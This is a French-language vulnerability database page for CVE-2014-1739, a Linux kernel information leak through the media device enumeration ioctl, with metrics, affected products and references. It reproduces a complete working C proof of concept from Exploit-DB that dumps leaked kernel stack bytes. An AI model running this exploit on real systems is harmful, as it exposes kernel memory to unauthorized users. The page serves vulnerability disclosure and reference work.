CVE-2014-1739 : Détail

CVE-2014-1739

A01-Broken Access Control
0.04%V3
Local
2014-06-23
08h00 +00:00
2017-12-20
18h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The media_device_enum_entities function in drivers/media/media-device.c in the Linux kernel before 3.14.6 does not initialize a certain data structure, which allows local users to obtain sensitive information from kernel memory by leveraging /dev/media0 read access for a MEDIA_IOC_ENUM_ENTITIES ioctl call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 39214

Date de publication : 2014-05-27 22h00 +00:00
Auteur : Salva Peiro
EDB Vérifié : Yes

/* source: https://www.securityfocus.com/bid/68048/info The Linux kernel is prone to a local information-disclosure vulnerability. Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks. Linux kernel 2.6.38 through 3.15-rc2 are vulnerable. */ /* * $File: media-enum-poc.c * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32. * $Author: Salva Peiró <[email protected]> (c) Copyright 2014. * $URL: http://speirofr.appspot.com/files/media-enum-poc.c * $License: GPLv2. */ #include <stdio.h> #include <fcntl.h> #include <string.h> #include <stdint.h> #include <sys/ioctl.h> #include <linux/media.h> #define MEDIA_DEV "/dev/media0" int main(int argc, char *argv[]) { struct media_entity_desc u_ent = {}; char *file = MEDIA_DEV; int i, fd, ret; if (argc > 1) file = argv[1]; fd = open(file, O_RDONLY); if (fd < 0){ perror("open " MEDIA_DEV); return -1; } u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT; ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent); if (ret < 0){ perror("ioctl " MEDIA_DEV); return -1; } printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw)); for (i = 0; i < 200/sizeof(uint32_t); i++) { uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i); if (i % 4 == 0) printf("\n %08d: ", i); printf("0x%08x ", data); } printf("\n"); return ret; } /* gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (excluding) 3.14.6

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 13.10

Configuraton 0

Suse>>Linux_enterprise_high_availability_extension >> Version 11

Suse>>Suse_linux_enterprise_desktop >> Version 11

Suse>>Suse_linux_enterprise_server >> Version 11

Suse>>Suse_linux_enterprise_server >> Version 11

Références

http://www.ubuntu.com/usn/USN-2263-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2014/06/15/1
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-2261-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-2264-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securityfocus.com/bid/68048
Tags : vdb-entry, x_refsource_BID
http://www.ubuntu.com/usn/USN-2259-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/59597
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securitytracker.com/id/1038201
Tags : vdb-entry, x_refsource_SECTRACK